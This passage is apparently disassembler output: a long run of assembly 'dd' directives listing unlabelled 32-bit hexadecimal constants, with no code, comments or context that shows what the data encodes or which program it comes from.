		dd 0BAFE0F8h, 416E4816h, 44923E04h, 1ACD9FC7h, 8AE82414h
		dd 0C8E5F422h, 25A9D3Eh, 8BAC5976h, 85AF386Eh, 0A6D8C583h
		dd 0CEBEECD7h, 0DFAF20AAh, 0CE6F64E5h, 0AC76EB82h, 0F2AEBACBh
		dd 491DD049h, 9C4D55F4h, 0EC5D4FBDh, 0A7713856h, 451FCE10h
		dd 5224B9C0h, 0C6A8DEA5h, 0B0133010h, 0B4F5A02Bh, 0CC183711h
		dd 6073D76Ah, 958E5AA0h, 5F28589Ch, 0A292291Ch,	0D18858D9h
		dd 0BDF044DAh, 0F6098A3Fh, 0DA36B5D2h, 36AE38C4h, 0FB7E9641h
		dd 442FD1E1h, 0E5B53CECh, 9C0DBE2h, 2F360A91h, 0AE90C06Eh
		dd 0DC1C6F1h, 0A33D36CBh, 40526480h, 3DB7A873h,	1D96EDE8h
		dd 4308673h, 0E5B5295Fh, 51B20CDCh, 88C60B46h, 85075DA2h
		dd 0A3026CBAh, 0AA0303E2h, 602F48D6h, 8A1E4DDAh, 3D6DAA36h
		dd 0BE4C1F30h, 35D62210h, 7DE88BBEh, 879FA87Dh,	5532E04h
		dd 0F67AF289h, 61560655h, 0CD88154Bh, 10276F9Fh, 0DDCB30A2h
		dd 514B1699h, 2A789258h, 1B4670D8h, 29E82EB1h, 4302F1FAh
		dd 0B47067ADh, 0B40BEBB0h, 0BDF71FA7h, 431A0D21h, 7113013h
		dd 0CA124D7h, 38B8796h,	503294ABh, 0D8B50A34h, 8AD93406h
		dd 621DDB40h, 2E8468h, 27334445h, 0D8450CD4h, 0BF190079h
		dd 1B8223CFh, 31C46701h, 0C7779C71h, 8C6531B7h,	0AF021F3Bh
		dd 41DD41AEh, 0A3A0CD59h, 0F0A17316h, 59A7D2A4h, 202FDA41h
		dd 3594C2E9h, 72CA75A6h, 0E12AD3F3h, 18F50D27h,	5EF6B229h
		dd 0CB6ACBD8h, 8A822204h, 3E88ADEBh, 0D122F781h, 0D1B13064h
		dd 218599C8h, 3D70F22Bh
		dd 65A596A2h, 0FB283535h, 39B0D157h, 17D672ECh,	55629424h
		dd 2EF8824h, 5A6D7749h,	33109CF0h, 45F9272Bh, 9AB4FC1Fh
		dd 70495EBAh, 624EFD96h, 0C55824h, 0B1B9ED0Ah, 0C129A00Eh
		dd 7D04E316h, 8CA0DD91h, 4DCBD2AEh, 38338228h, 24C0EF0Bh
		dd 4B533C6Ch, 0F88A2F9Fh, 41197E10h, 474E1C49h,	0BBB476FEh
		dd 536B8230h, 4A4D381h,	63F94686h, 88C0410Dh, 28FA2E19h
		dd 0E1A04252h, 0E99967E4h, 5F3E8CA3h, 0D2D0918Ch, 0E491D106h
		dd 214608EFh, 8FBB57D3h, 0DFE1AF36h, 703C2B54h,	4347F384h
		dd 0F92066ABh, 1F857701h, 8C686BCAh, 0BCAAA0BFh, 4570FA53h
		dd 0D5B79761h, 6B55ECA9h, 19556AA9h, 77ECD5CCh,	4BFD97B9h
		dd 0A0782655h, 96564BB5h, 0B7389FF4h, 8A02554Ch, 0D8FF4997h
		dd 80EEFDCh, 0C27CA506h, 0E7105DA9h, 762999CEh,	0B55AA0CCh
		dd 7E5C81E0h, 0A789500Ch, 50DAD645h, 3C00DA8Bh,	601C432Dh
		dd 312C62E3h, 0AD6FD47h, 97CD7AEBh, 0A28A8982h,	0CDBA184Fh
		dd 85E1AC5Ah, 0F6848AD1h, 44CC5770h, 40042698h,	3625EF7h
		dd 15F5AEBFh, 77EB96E6h, 1216ED11h, 3D5634B4h, 0FDD89048h
		dd 0A354A82Eh, 92C48B48h, 0A1ED8B1Ch, 0D53A4C02h, 55AC5007h
		dd 45C00391h, 3166DE31h, 984462C0h, 0E0912A73h,	8AEC7725h
		dd 0B79CC623h, 8A6E2C0h, 4274D37h, 0F0D8A11Ch, 0F7555708h
		dd 55753BB8h, 0BC16FFFBh, 5B3D48F9h, 0A0BEC5E3h, 888007D2h
		dd 0AC03133Dh, 0D9BEA4ABh, 0B5419284h, 0A3A801C0h, 0E8F1A8EAh
		dd 577A7AFBh, 0E7E24FBBh, 12E50AAFh, 0EA2FD725h, 4780762Eh
		dd 7B3DB9F5h, 0B2CFA7C0h, 15607AFh, 39EC7C13h, 0EAF031C7h
		dd 3E9E5764h, 0E5E102Bh, 0E2B3422Fh, 9C69C55Fh,	5621C0AEh
		dd 7B00B555h, 0DECE0BEFh, 0BB1932B8h, 0AE86314Eh, 5DA8094h
		dd 0F0B8796Ch, 5310B62Fh, 0BAA298D8h, 0F84BFCFAh, 49AFB2Fh
		dd 0BFC6E572h, 0A4D6560Fh, 270DD6Ah, 22BA55C5h,	2BDBB3Dh
		dd 0FFD779A3h, 679D83E5h, 0B090F49Bh, 1296996Bh, 54A308CAh
		dd 5B1D2530h, 9502C5D6h, 2BCE6E92h, 7DFE44B5h, 0AC366433h
		dd 910902DBh, 0AAD7AEAEh, 18624DC4h, 0E441D430h, 79140C26h
		dd 69DF28A2h, 5C8C5797h, 0B6030D85h, 91043EB8h,	0AED08B03h
		dd 5412C867h, 0EE92F9FAh, 485195F1h, 0F370EA41h, 0B8A04BACh
		dd 0A083BDEh, 2255FDB2h, 3D6412B9h, 668AD93Bh, 40FBD885h
		dd 36E16F5Fh, 0D21D343Ah, 0FB4B895Fh, 0F661316Bh, 0AF923FDh
		dd 0F9204C01h, 357F3A35h, 0E5B9DC2Dh, 85DBE60Bh, 0C2395857h
		dd 63348954h, 0D7B5E5Dh, 0A733C5Fh, 0EBAF5D02h,	0B395380Ah
		dd 441E61C6h, 925937B4h, 4045EA85h, 0AC5A5755h,	0B6609DC4h
		dd 0BCAA4D01h, 0C239EE61h, 342A5D4Ah, 5D1D049Eh, 936B5A12h
		dd 1F4883A1h, 0E0C6EDCBh, 1B30CC5h, 72329975h, 0F04714FAh
		dd 0A2799F07h, 0F83D7100h, 822D1AB4h, 7AF81DACh, 5FF11525h
		dd 32731D6Ch, 37B47E75h, 538300F5h, 71F775B3h, 3C4E66Fh
		dd 84F316DBh, 42C48830h, 0A18B40FAh, 0BAF4583Dh, 207CA764h
		dd 0BC9D4345h, 0A1E6150Ch, 0C096F193h, 0D2A037CBh, 0C0B1CDA6h
		dd 4075A0E2h, 7059A849h, 79BF9D74h, 268A408Dh, 0E281B81Dh
		dd 346FFE16h, 0B7C72AEDh, 10FF58Bh, 7E3A19BEh, 970CF908h
		dd 0ADF80ABAh, 0CA8DA650h, 6028A29Fh, 0B855C46Dh, 7AF1F55Dh
		dd 8797795Fh, 44751B93h, 0B9D81788h, 7919E451h,	6D97C268h
		dd 0D9C5F862h, 0C681B208h, 106B38B3h, 3C07B4D0h, 37B58A71h
		dd 0B6E5F0C5h, 0D9C1B868h, 0C950DD28h, 0A9D06AD7h, 475630D8h
		dd 5D94A999h, 8525501Dh, 2FBDD9D4h, 0BA526AB2h,	0BE5BA8Fh
		dd 46C4343Fh, 0EF7A5581h, 98F324EBh, 790EADC5h,	5F80B49h
		dd 0C046BA75h, 6E118037h, 0C2AFDE23h, 0E3C0B605h, 0BFCCD919h
		dd 4F45650Ah, 472D6F1Fh, 0A9555F6Fh, 77B91300h,	0B501F6D5h
		dd 91848C7Eh, 0ABB83D34h, 0ABE95A50h, 1169BEACh, 58E6844Ah
		dd 0BE7CDC35h, 5041BAC0h, 0BD03F48h, 1B3B1CBh, 1A184C2Fh
		dd 30F16E35h, 71270B16h, 916C89E7h, 5F720392h, 410B2F0Eh
		dd 0CBC464A7h, 0A448990Ch, 0A4D4D90Bh, 0B48BD99Ch, 0E140830h
		dd 8E2685D6h, 0A32E310Dh, 989A0D8Bh, 58E0E069h,	31C03ACh
		dd 0A05D6AB1h, 163E4A13h, 840A62D8h, 0C1A0D40Bh, 603EEB14h
		dd 2E105C63h, 820B856h,	8B2E2D34h, 0BF663B34h, 0F0FDB094h
		dd 1B4845AAh, 0B07FB41Bh, 0DE06DFD1h, 200398CDh, 36F35B81h
		dd 1BFFC856h, 640ABFA1h, 3182A270h, 0FCACAA96h,	4DE4BDAAh
		dd 0BFB1B3ABh, 74D542A6h, 899F494Dh, 5D84B975h,	0C3CB6E73h
		dd 0D4C05D65h, 462C17E9h, 37AE1B8Eh, 0EC4EAE16h, 64320EBDh
		dd 1CB1752h, 0FBB8BB9Ah, 0BFA905C3h, 3BF55866h,	0F6198B73h
		dd 0DD657C5Dh, 0BB7A3BFDh, 0FFC26C6Ch, 56E7C790h, 454E7358h
		dd 76C59F7Eh, 60585F69h, 0E2942695h, 0DD403CD5h, 5AB457C1h
		dd 3167B094h, 0E8E5010h, 428F4122h, 0B61D09C4h,	0D2953BF9h
		dd 0B997F02Bh, 1614956Fh, 0BF3B0A6Ah, 67F62BEFh, 6C15A55Ah
		dd 0E9819CCDh, 271FE527h, 0AB009178h, 0F8D16976h, 908334Bh
		dd 0B95E791Bh, 5A1965D3h, 0EB97AEFAh, 87B92ACAh, 0ABAA5DCCh
		dd 0A0C22657h, 28B811A8h, 0AFF017ABh, 1430613Ah, 0ED5B8A45h
		dd 50B55142h, 0BDF09D1Dh, 8442AE9Ch, 63F5230Fh,	8F59ED28h
		dd 3A3A51BAh, 0A1BE750Dh, 2E87A57Ch, 5114128Ch,	5CEDD04Fh
		dd 0F0C102EFh, 48424435h, 0CD44F2B7h, 667C891Dh, 2DF1F5EEh
		dd 0C2207F5h, 46C04407h, 75BD27h, 0A892DF62h, 559577E9h
		dd 9CE68D31h, 4544DD01h, 1202CC87h, 1F07CC7Ch, 0E0BBA0A7h
		dd 0A898E8F2h, 5239B8E8h, 66135214h, 9B98AC0Eh,	0A8432929h
		dd 0FAD5A20Dh, 287117E9h, 0C76620ADh, 8DD274E5h, 618013B9h
		dd 0CADAF8D9h, 0A9260C8Ch, 0C733EC8Ah, 6D72617Eh, 0C5FCFC3Ch
		dd 0A5A637FFh, 0D9B6C0B4h, 404208F4h, 8855B840h, 9024B255h
		dd 0B49DA909h, 91548AA3h, 0B3A93206h, 0B184A229h, 143AB304h
		dd 2E978FDCh, 2E912E25h, 56ECE0B5h, 0A0A9564Eh,	156DC0D1h
		dd 19221562h, 974CC264h, 55A4A8EDh, 503483A4h, 51135AEh
		dd 551D4842h, 90948BA4h, 0B4A1A929h, 91548AA3h,	0A6423214h
		dd 9ADE7683h, 90C4D22Ah, 17482328h, 6E600A23h, 0D48AAA3Bh
		dd 618848D0h, 4551A3B6h, 98514872h, 21ADDAEEh, 8820228Dh
		dd 0B25C5246h, 0B2725112h, 3222314Ah, 2156B4A5h, 44929156h
		dd 0DE788426h, 4D222A8Eh, 0ADC20A34h, 4510AD21h, 48180A2h
		dd 93952888h, 91546A55h, 0AB5B329h, 2C918AB1h, 0ABA6E132h
		dd 2AD25476h, 246845D2h, 118B1AD3h, 1DA1C205h, 948AA455h
		dd 0A21D2991h, 58D0A3B7h, 551DFEE9h, 0D2108D24h, 455A955Ah
		dd 444598DAh, 814B435Bh, 22E91238h, 0DD80A5C9h,	7D071562h
		dd 4551B2EBh, 947958EAh, 0E943D2C0h, 915622A8h,	0BAC84A3Eh
		dd 227C847Eh, 0EA76A07Ch, 83C3A95Fh, 28774E1Fh,	9E682FB5h
		dd 61FB8E4Fh, 664B864h,	0FF124E00h, 0E3D9BDBh, 0E3E680BCh
		dd 49DD2A75h, 0D2E22A1Eh, 200C44A5h, 5971271Fh,	22700249h
		dd 489245E9h, 35EAB1B5h, 941D1F21h, 0A6E18DCFh,	45514AA3h
		dd 979D2F32h, 0ACB6D336h, 9DD422A8h, 1E8BE75Dh,	4B16AF2Ah
		dd 1E1DA79Eh, 0F8D1BEB4h, 28298ADCh, 0AFA424F8h, 1513C909h
		dd 0C43B9543h, 3D424A2Ah, 88554B53h, 9EB41255h,	7EB7A189h
		dd 89EC8AB4h, 29749FFCh, 1A645048h, 0FFF9BEA6h,	9156D56Dh
		dd 0CF261BDAh, 2A8E2156h
		dd 0CF7A7B92h, 3F5AD7D4h, 0F040455Ah, 691DB08Dh, 9F14A228h
		dd 0B134A609h, 2A8E8AA3h, 0EA37C10Ah, 0AD1FDEEFh, 0FEA2CD22h
		dd 28E3ADC9h, 18A7D10h,	95B44C03h, 548A5593h, 0B5FD099Fh
		dd 4551B10Ah, 99F730DAh, 486BDABCh, 0BF0848ABh,	7D434E51h
		dd 11641450h, 915648EDh, 0F87FD3F2h, 49152156h,	7A6711BFh
		dd 0AD1F476Eh, 0FE22ED22h, 0A5D2ADAAh, 69231640h, 0A397DE98h
		dd 8EFF08F1h, 0C37E59B0h, 0FF24522Ah, 9A6D46D2h, 62CD5528h
		dd 0A8507482h, 0A495FAE3h, 5A061A16h, 0F03195F0h, 8DA6E4AAh
		dd 30BA9F35h, 1E54247h,	6B6EFD8Dh, 4BC2D406h, 0A2D6A1Eh
		dd 91D91E34h, 507085C6h, 7AE3DDC3h, 0DC4C7C8Eh,	988710F9h
		dd 639F73E7h, 6176CDDAh, 89E7AECBh, 28695BF6h, 0CC9A40A2h
		dd 54311DADh, 21567A09h, 3C02BF36h, 88EDA6A6h, 0A6CD63A2h
		dd 7462CFDh, 44501EF9h,	77FF3E81h, 0C780D23Bh, 0DFA448DEh
		dd 0FE937537h, 7CBCFECEh, 3DE8668Fh, 0D237E91h,	33E01445h
		dd 0A4BFB541h, 0D0EFF00Eh, 0D1EFF49Fh, 9FEED26Ch, 0A1F39E93h
		dd 2869CD6Eh, 3F9440A2h, 4F001DB8h, 51546FA2h, 0CD1E3E7Eh
		dd 955FCA6h, 0BA05F95Ah, 42EF078Fh, 9CAD1E6Fh, 0FC3C084Ch
		dd 10FC314Ch, 0BFF003A9h, 83E7A7F7h, 89FB9B34h,	0D99C2BF0h
		dd 0B44C40A2h, 1E01691Dh, 0F3029A7Fh, 3F31C621h, 4C798F0h
		dd 0A3DF0F96h, 2F498379h, 3C22761h, 2117011Ah, 85F4617Ch
		dd 0CF129FC7h, 0C5435CE0h, 0F1FB051Ah, 0DE2D48EDh, 7DD3A378h
		dd 0F74DD4E8h, 0F314FB5Fh, 1E799AC5h, 8A1A12ADh, 12679028h
		dd 0DD4A476Bh, 14C99DE2h, 0DA410FDDh, 32544811h, 0D6FDF745h
		dd 0F520168Fh, 348E9544h, 0ABC75114h, 0F9BDD32h, 16FE3A31h
		dd 0A6CD22AFh, 6C46644Ah, 51141EF9h, 0D442F720h, 3A31348Eh
		dd 32AFABC7h, 408A0F92h, 1EF916FEh, 0A27CA6CDh,	8A15DDFAh
		dd 0AFD59028h, 4621476Dh, 0F57878E7h, 0E7F5F329h, 3DF2B7F2h
		dd 69024D9Ah, 21749C8Ch, 0B4948F06h, 2DDC8AA3h,	9F84EDEh
		dd 3B788231h, 0DF9448AAh, 86B6FE88h, 89FA8AB4h,	0D99CFBE8h
		dd 0B2DF40A2h, 9D18691Dh, 0AFD145E3h, 0C35F87CBh, 0A3DFE2DFh
		dd 599A44D9h, 156925E9h, 0FC2140FFh, 0D00A10A9h, 330E5BFh
		dd 0DFB45E43h, 340C103Ah, 11FE1794h, 0D9B0489Ch, 8681234Eh
		dd 58BAD4F0h, 0DBA14515h, 46F14551h, 0A9AFF368h, 0F63B3C85h
		dd 3633F9A7h, 255AE69Bh, 0A051E5A4h, 348E40F2h,	9AF3C03Eh
		dd 2ED41Fh, 42FCD68Fh, 14CB7CDEh, 3F5B305Dh, 13D3589Ah
		dd 4C76B46Dh, 62B774F4h, 0B91549C7h, 0DF9E3E96h, 25DEB645h
		dd 0B817FF32h, 3DF242FCh, 0ED504D9Ah, 8A1A968Dh, 19777828h
		dd 0C8114769h, 0BF3CE7BFh, 0D9A37790h, 9F143F14h, 1458DF37h
		dd 0A45542C8h, 7F17F58Bh, 0CB971DB2h, 3FCAE7CFh, 3669C5E4h
		dd 62378FC5h, 8E4907C9h, 7682D502h, 9EFF71A4h, 4D97C5Fh
		dd 39F03C7Fh, 0D1A3887Ch, 0BF045E6Fh, 511DF33h,	0ED754FCAh
		dd 3DFE4348h, 3C85F83Fh, 0F8261AF8h, 0F90EF933h, 8CF1CD1Eh
		dd 75E1F83Ch, 27287C27h, 67D7354Ch, 9B081371h, 5DBE8D5Ah
		dd 288B2975h, 43A705FAh, 0B814AF8h, 6AE8C045h, 1081694Fh
		dd 62151094h, 6409AB15h, 0EDAB6E62h, 0A14E22A8h, 7D664C81h
		dd 7AFB2ABDh, 0A1A2C105h, 0A7D7E7ECh, 42BC7C88h, 52DA5B43h
		dd 0C57DC3BBh, 48F40729h, 538A79E6h, 8FAA9026h,	81888ECFh
		dd 5084EA5Ah, 0ACB71724h, 78B3823Bh, 0BD005778h, 760291EDh
		dd 0FA138C43h, 1A1D11CDh, 1DD2DE1Ah, 0F21AB218h, 112018DDh
		dd 0EE50EE12h, 508F41F8h, 0DAA1FEEFh, 0DC96A582h, 87CF624Ah
		dd 4F703F82h, 78816887h, 8951877Fh, 257114ACh, 0D5D912A8h
		dd 191EE021h, 24AAA1B5h, 264A0A5Eh, 0D4B94083h,	221F6491h
		dd 0AF668AAEh, 58A87E0Bh, 0D9455743h, 29CC0E0Ch, 7DF0761Ch
		dd 68B3225Dh, 607E5019h, 774D4924h, 0BF40C5C0h,	35808012h
		dd 830FA18h, 9230099Fh,	1BA7209Ah, 0FB931258h, 0A264A309h
		dd 23807583h, 940163C8h, 0E8190BBh, 0ACE8898h, 0E5580185h
		dd 4A1C6ABEh, 0FF22332Ah, 5BF83028h, 885ADFD4h,	85DF9D6Ah
		dd 50803C11h, 6105C926h, 0FBF0C5D7h, 0B2DC8D4Eh, 75DCFCA9h
		dd 71B17BACh, 0CEE7147h, 4E41AAE0h, 32D338F1h, 3686A335h
		dd 759CDAE5h, 81434607h, 56715AA0h, 0E54C19FBh,	724437DFh
		dd 0FC0A63h, 0F17728BEh, 0FDDBA42h, 75F23FE6h, 6700093Dh
		dd 457D7AE0h, 555B538Fh, 4E6FFB58h, 0AC426E92h,	3935BE0Bh
		dd 928BA757h, 31E13E09h, 89756457h, 93485749h, 234F976h
		dd 0ACB0386Dh, 3C363418h, 810A47ABh, 0A4819A33h, 0F9DEFA00h
		dd 69B431A6h, 0ED4EAC5Ch, 0E887BFA9h, 267EF96Ah, 0B9525D24h
		dd 52766C59h, 0CF25778Fh, 5A9A6DACh, 8D35DE06h,	3ED15AAFh
		dd 83F914A8h, 284128D8h, 47A0047Bh, 0B93D82D8h,	0DFD6977Eh
		dd 23178F50h, 46BFED85h, 787DF8BAh, 622E159h, 8605050Fh
		dd 249F31EBh, 5756737Dh, 6300AB59h, 0A9075CEh, 115EB8FEh
		dd 2A32C51Ch, 0A2B032Dh, 758B8EA8h, 4FF7F069h, 8728607Fh
		dd 12521572h, 0FA5C9450h, 0B57CF482h, 7FACD38h,	0A63F5FE7h
		dd 8F0C825Ch, 0C957EC9h, 0D580EE9h, 243DF471h, 0AD7271D6h
		dd 575E38BFh, 80EC71C8h, 560FC78Dh, 1E9F412Eh, 0B751C403h
		dd 2C299C16h, 514BD58Bh, 16308A0Fh, 180CAFDBh, 7A5FB5FEh
		dd 5D79C10Bh, 2BE0EC29h, 0BD475E8Ah, 845D6CA4h,	0A3551F4h
		dd 5EC4636Ah, 0DAD9AA2Dh, 2521CC14h, 0BA78F481h, 61970110h
		dd 12920B51h, 7F93873h,	0F5EA2534h, 5A3EE8F5h, 0D2DE0FA2h
		dd 0B9C19DF4h, 82119389h, 41153960h, 0E3FD0108h, 0D754170Ah
		dd 0D632C70h, 7838380Fh, 81AA629Ch, 0AEF2119h, 0F0A3AF52h
		dd 0D406CF8Dh, 0A3C1559Fh, 4C99C150h, 0B49417D1h, 283ED581h
		dd 6B38DFA8h, 0E8EBB821h, 4549471h, 0F93AFB44h,	4F324767h
		dd 1233E0ADh, 4413D86Eh, 0CCCD89Ah, 0A40D8403h,	0AFF72AA5h
		dd 417433h, 0DD26282Bh,	93B304ABh, 0A3D52815h, 32118DF8h
		dd 242AD1CAh, 828985F6h, 0C2F0ECE5h, 57DE6618h,	7073069h
		dd 9A02D987h, 84FF796Ch, 47568974h, 0E528EE30h,	5D20D666h
		dd 237026DEh, 0B5A2BB8Bh, 183AA2EFh, 0F72B2EFEh, 0D6605455h
		dd 32B10FFCh, 164BA67Ch, 83121C98h, 5702126Fh, 13BFAAA8h
		dd 5CAF2B49h, 0F2BEF0A2h, 0D6DE867Bh, 4E92F636h, 5E5C47F5h
		dd 4EFEE021h, 9D2B504Ah, 9281B59Bh, 0A04270FEh,	2664B3A6h
		dd 20EB8903h, 503C9DCAh, 16C5C174h, 5F1B671Ch, 2E94BACh
		dd 0ECAC4688h, 55044F0h, 3303C7EEh, 0ACE8C6CFh,	0B43A2D27h
		dd 0BAC2E603h, 0AE0A3899h, 8A4A6412h, 0C1B9FA36h, 0B6B1CABFh
		dd 4EB25DADh, 0D7975675h, 82454021h, 0BF6FCDDh,	0BB6F414Bh
		dd 18AC0F70h, 783922D5h, 0CC0157B8h, 0CB413110h, 0C538C3B0h
		dd 9DDA18CBh, 3B2802B3h, 773CEFF0h, 5CF41A9Dh, 81E3C738h
		dd 155C92C5h, 2CA099ACh, 0B3FB475Eh, 7C0080C5h,	0D216F623h
		dd 191A10ACh, 2BEE9D4Dh, 0F51AD8A0h, 2BBF61A7h,	38EA069Ah
		dd 8DC27900h, 5700A2ADh, 0BE1400D6h, 0A5F895Dh,	6C66BADEh
		dd 8206E96h, 0F8B75740h, 76E038BEh, 5B6200E5h, 42160214h
		dd 731E165Bh, 98BDB26h,	15F4EA87h, 684CDAEBh, 3529BB80h
		dd 0B8EC3389h, 0E401D880h, 0FCB51EDAh, 2EAAFA81h, 15F540Eh
		dd 80B17636h, 800CF16Fh, 0F82B38Eh, 341D7614h, 998CF0ECh
		dd 0A7FE3803h, 7A2004CEh
		dd 0FDC92B94h, 0AAB509C5h, 0B6A9A350h, 5A15CCAAh, 940CA455h
		dd 7625143Ah, 566D1DF3h, 0D9A3CB2h, 0BFB01ACh, 8BC604AAh
		dd 3AA198C9h, 85F7B68Ah, 588CBADAh, 161DC9ACh, 0ABA45019h
		dd 6BC06532h, 0AAC10EBAh, 16A3C8C8h, 6777AAh, 0CD2BE150h
		dd 49EE28B9h, 9A57E759h, 0F2CA00F3h, 0ADF9DD5Dh, 8B2AB2B9h
		dd 72884544h, 0C8E7A119h, 0CE08D59Ch, 0ABAE7E0Fh, 2C151A16h
		dd 9E00AE7Fh, 2C155B64h, 0AA8FF35Ah, 7C55873Ch,	9E5B1E03h
		dd 767E976h, 8E8F2B2Eh,	3E0CAF76h, 578040D8h, 0AD926A2h
		dd 4FF0557Dh, 1B5D4FA9h, 0B454A500h, 83ECF138h,	777814EAh
		dd 56A5A4A1h, 35E6C797h, 79946F5Ch, 7B4E969Eh, 0E87B1448h
		dd 0B1F6E398h, 1433CCA1h, 0E82082C4h, 6338A03Bh, 1DAA0CDDh
		dd 5EC23868h, 9761EB49h, 66B3368Ch, 0AB2EA711h,	0A14ADF59h
		dd 2A50EF58h, 42AF023Eh, 0C3F0694Ch, 82EA85E4h,	17D99925h
		dd 8A7DB54Fh, 921370F4h, 110BF8CBh, 83E9EA05h, 0FF7BAC2Fh
		dd 0F5C9C2E0h, 637C803Dh, 0A4A6F150h, 560E680Ah, 0E92F6125h
		dd 0EBE56702h, 0A0C162A2h, 3E0F0E00h, 0E913D82Ch, 5F541C0Eh
		dd 662E627Ch, 426BCBDh,	0D5FEBED5h, 8E17AB2Bh, 0C8B1FDFh
		dd 5FC8CA47h, 0B0B06630h, 608A8820h, 7629FA8Fh,	86EFE22Eh
		dd 1534283Bh, 1773D833h, 0CDD61B13h, 405E340Bh,	70657AC3h
		dd 35160DB1h, 0E11CE0FCh, 3A451A85h, 7EC5EE61h,	7E126585h
		dd 430063DFh, 5388F07Ah, 0B8C689CAh, 0AFE21E1Eh, 30E407C4h
		dd 2C744005h, 6D7F88A3h, 49587485h, 30600F8Fh, 64C95D87h
		dd 5A46FC1Ch, 0ED81FD6Ch, 9ADBC51Fh, 3C82F4D7h,	17C695B4h
		dd 0E1D82508h, 0AA49B469h, 53A814E9h, 2497429h,	21A83361h
		dd 0D10229AFh, 0FF0AEF07h, 0AB11A049h, 0B3984F80h, 14534206h
		dd 0C37DBD6Ch, 0FC70E806h, 5822C5Fh, 81613879h,	6BEF8E8Fh
		dd 720EA202h, 0A040C255h, 477C8C62h, 5835F86Ch,	0C102E148h
		dd 59B17B80h, 305C44D2h, 0C89C60CAh, 0A131E4B8h, 0E21754B7h
		dd 862702F5h, 0D834851Ch, 0C562E535h, 33E89DF0h, 0E690AD89h
		dd 5CEC6F7h, 99E4A2F1h,	973B6A18h, 653D5E04h, 284A7045h
		dd 17F0655Fh, 76E36F93h, 4A815CE3h, 14682E71h, 5DF2E481h
		dd 97D10313h, 0BA1D3A1Eh, 0AC718CFDh, 2668DC3Bh, 0AB2F1E69h
		dd 3D13C51Ch, 55DD2152h, 7138BF98h, 59CB3AC0h, 0C978F30h
		dd 28EB0D5Ah, 83C612D5h, 0F285DCB0h, 388F12F5h,	0CABF3F9h
		dd 0F2EBDD64h, 6854D6AFh, 64B5E431h, 9B462E81h,	55952DCCh
		dd 0F60DB945h, 493D3BE9h, 0C459B0A5h, 9F4C3DF7h, 8850C5B6h
		dd 6A016B2Dh, 0F77017F9h, 0B5D22089h, 97588445h, 0F341808Ah
		dd 0FB284356h, 307C6CDAh, 70A4C73Dh, 0D9D43B01h, 2B254D9h
		dd 0EFD6C487h, 0FB51BD3Dh, 5FF5AFEh, 523A194h, 3A3AC4E4h
		dd 3789C003h, 1BFCCAEBh, 99C17303h, 0C6CF7644h,	4A503905h
		dd 80E930A4h, 0DAF8D850h, 1C1FE08Fh, 0DC121288h, 68FBD705h
		dd 97FB9DB2h, 88BF5024h, 0E8DAAD15h, 8DFBE602h,	1C2B4D62h
		dd 87D50DB3h, 8BFC7591h, 17700F3Dh, 1D1A6354h, 95A82128h
		dd 238DB135h, 0E1DE9344h, 0DB026273h, 32A945E5h, 6C08BA9h
		dd 0E4FF1146h, 32384969h, 0F3D6870h, 0C381E0Fh,	0BD172622h
		dd 5953B344h, 0D51CFFF4h, 4DE6D270h, 1E2A9A19h,	0DCA9B6DFh
		dd 0B84AA39Dh, 6245A2A3h, 0E2831DE4h, 0CE78147Bh, 0AF5AA951h
		dd 54742E97h, 0F28901Eh, 907A2E8Ah, 441D82FEh, 5D2E28C0h
		dd 7C039F8Ch, 14421D4Dh, 0D3EE50C7h, 712EFADCh,	5CA1C9FEh
		dd 8CDD8C9Fh, 604A281Fh, 383B26EDh, 316D4574h, 0AEA80045h
		dd 0F146E63Dh, 2896F647h, 38BA97D8h, 518EFAE2h,	0F673471h
		dd 7E3E42AAh, 0CC5F5B13h, 0F28B0190h, 8A370D91h, 5E23DAC0h
		dd 59A01514h, 14519239h, 8264AE43h, 145F5742h, 7FCCDC75h
		dd 0F1BC75F5h, 0E5CA7DF1h, 716AE5DBh, 0BD48F5F5h, 0ABBE38D9h
		dd 1D2ADBBCh, 0FF26C676h, 0EC32CB3Ch, 0DCB6939Bh, 2D85E9DEh
		dd 0C6965DB8h, 0B469A92Ah, 0A44529DFh, 0F8A3A9ADh, 766092A1h
		dd 0B55568D9h, 0E57F5502h, 5F2BFDB7h, 5B2893C3h, 0F196898Dh
		dd 0A71E541Ah, 0E90482B2h, 64C029F2h, 9EB00BDAh, 0A165228Ch
		dd 1545BF6Bh, 0D5656D4Fh, 79171EDCh, 2A616D57h,	4F6A72EAh
		dd 0F73E9237h, 1DF770CDh, 0EB377AFCh, 7AE1C846h, 0B52A5198h
		dd 0ADB54AD8h, 18AFC3AAh, 13A9A6D2h, 2B3DC155h,	0AB91667h
		dd 38CC13BBh, 0D5964740h, 23AD6260h, 0EE51A163h, 74D60228h
		dd 0EAEF6589h, 6AA498C8h, 0D5FF2264h, 0D6C48BF0h, 0E65F3E92h
		dd 0D0732CC7h, 87E1EC68h, 6D23FBE0h, 0C0E6F3EAh, 0C5F0F1DFh
		dd 314CAB35h, 0BFDB4E7Ah, 9AAC9436h, 51E0AAA5h,	701D582Dh
		dd 14C1DABh, 0CD9345C2h, 44C1E74Ch, 375842D0h, 0DCABFE20h
		dd 2FAE74EFh, 74A061CEh, 0C78106A0h, 242E540Bh,	4F331A3h
		dd 0CA95AACFh, 0A83CEF8h, 1307F01Eh, 94F34287h,	9C33C787h
		dd 0F0E6FC1Bh, 77C9B5A6h, 0B6C704Fh, 8EB234E6h,	0BA43B1BEh
		dd 27BA195Fh, 0F5C16AAFh, 0D899EB81h, 0E562DA06h, 8650C301h
		dd 2A1D622Fh, 90E422EBh, 6F1C3A18h, 55EA5778h, 54451484h
		dd 0E6D0756Ch, 0B8C0E2F4h, 8CE0B79Bh, 0D3145CDBh, 78763EE0h
		dd 57483D07h, 0A21A4EB8h, 0D6BBC3h, 0D7E6F121h,	0F7271485h
		dd 0C2972C15h, 0AFF56304h, 61815F49h, 8940CFAFh, 9D712E7Fh
		dd 0E354271Ah, 6CC62EBBh, 0BFEE1818h, 44370C59h, 0EAC34840h
		dd 714EDFF5h, 0EDA52037h, 0CB81812Bh, 17C7C6D1h, 3A0BAF0Fh
		dd 0B61B01A7h, 978D2FECh, 3A4ACE5Bh, 8722DCBCh,	0F514BAF2h
		dd 0E48668A4h, 0CC840815h, 0D264A4DEh, 0BC988D28h, 14F391Ch
		dd 421F2D0Dh, 28F168h, 0A18CD6BFh, 0AD0ABC81h, 0A12564A3h
		dd 0F23C0649h, 9BD59B10h, 0BC9E34C6h, 1CC7EB82h, 116341B3h
		dd 43269DFDh, 8A4E8378h, 224968D3h, 0C70EF3BFh,	0AD66837Bh
		dd 0C6A347A6h, 0B0356049h, 10C0C088h, 0A638093h, 0FAD989A0h
